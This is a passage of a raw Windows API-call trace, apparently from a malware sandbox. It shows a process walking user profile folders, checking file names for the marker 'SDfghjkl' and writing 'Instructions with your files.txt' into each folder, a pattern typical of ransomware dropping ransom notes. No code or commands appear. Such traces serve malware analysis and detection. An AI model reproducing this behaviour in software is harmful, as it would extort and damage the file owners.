[0132.334] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0132.334] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Downloads\\Instructions with your files.txt") returned 63
[0132.334] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Downloads\\Instructions with your files.txt" (normalized: "c:\\users\\default\\downloads\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.334] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.335] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.335] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.335] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.335] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.336] CloseHandle (hObject=0x10c) returned 1
[0132.336] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.336] GetProcessHeap () returned 0x810000
[0132.336] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.336] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
[0132.336] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites") returned 30
[0132.336] GetProcessHeap () returned 0x810000
[0132.336] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0132.336] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\*") returned 32
[0132.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0132.338] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\.") returned 32
[0132.338] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.338] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.338] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\..") returned 33
[0132.338] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.338] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.338] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\desktop.ini") returned 42
[0132.338] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.339] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
[0132.339] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links") returned 36
[0132.339] GetProcessHeap () returned 0x810000
[0132.339] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.339] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\*") returned 38
[0132.339] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.339] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\.") returned 38
[0132.339] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0132.339] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.339] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\..") returned 39
[0132.339] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0132.339] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0132.339] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\desktop.ini") returned 48
[0132.339] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0132.339] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1
[0132.339] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url") returned 58
[0132.339] StrStrIW (lpFirst="Web Slice Gallery.url", lpSrch="SDfghjkl") returned 0x0
[0132.339] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0
[0132.339] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\Instructions with your files.txt") returned 69
[0132.339] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\Instructions with your files.txt" (normalized: "c:\\users\\default\\favorites\\links\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.340] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.340] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.341] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.341] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.341] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.341] CloseHandle (hObject=0x110) returned 1
[0132.341] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.341] GetProcessHeap () returned 0x810000
[0132.341] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.341] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1
[0132.341] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites") returned 49
[0132.341] GetProcessHeap () returned 0x810000
[0132.341] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.341] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\*") returned 51
[0132.341] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.444] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\.") returned 51
[0132.444] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.445] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\..") returned 52
[0132.445] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1
[0132.445] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned 68
[0132.445] StrStrIW (lpFirst="IE Add-on site.url", lpSrch="SDfghjkl") returned 0x0
[0132.445] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1
[0132.445] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned 78
[0132.445] StrStrIW (lpFirst="IE site on Microsoft.com.url", lpSrch="SDfghjkl") returned 0x0
[0132.445] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1
[0132.445] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned 71
[0132.445] StrStrIW (lpFirst="Microsoft At Home.url", lpSrch="SDfghjkl") returned 0x0
[0132.445] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1
[0132.445] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned 71
[0132.445] StrStrIW (lpFirst="Microsoft At Work.url", lpSrch="SDfghjkl") returned 0x0
[0132.445] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1
[0132.445] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned 69
[0132.445] StrStrIW (lpFirst="Microsoft Store.url", lpSrch="SDfghjkl") returned 0x0
[0132.445] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0
[0132.445] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Instructions with your files.txt") returned 82
[0132.445] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Instructions with your files.txt" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.446] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.447] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.447] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.447] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.447] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.447] CloseHandle (hObject=0x110) returned 1
[0132.447] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.447] GetProcessHeap () returned 0x810000
[0132.447] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.447] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1
[0132.447] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites") returned 43
[0132.447] GetProcessHeap () returned 0x810000
[0132.447] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.447] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\*") returned 45
[0132.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.449] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\.") returned 45
[0132.449] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.450] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\..") returned 46
[0132.450] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1
[0132.450] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url") returned 57
[0132.450] StrStrIW (lpFirst="MSN Autos.url", lpSrch="SDfghjkl") returned 0x0
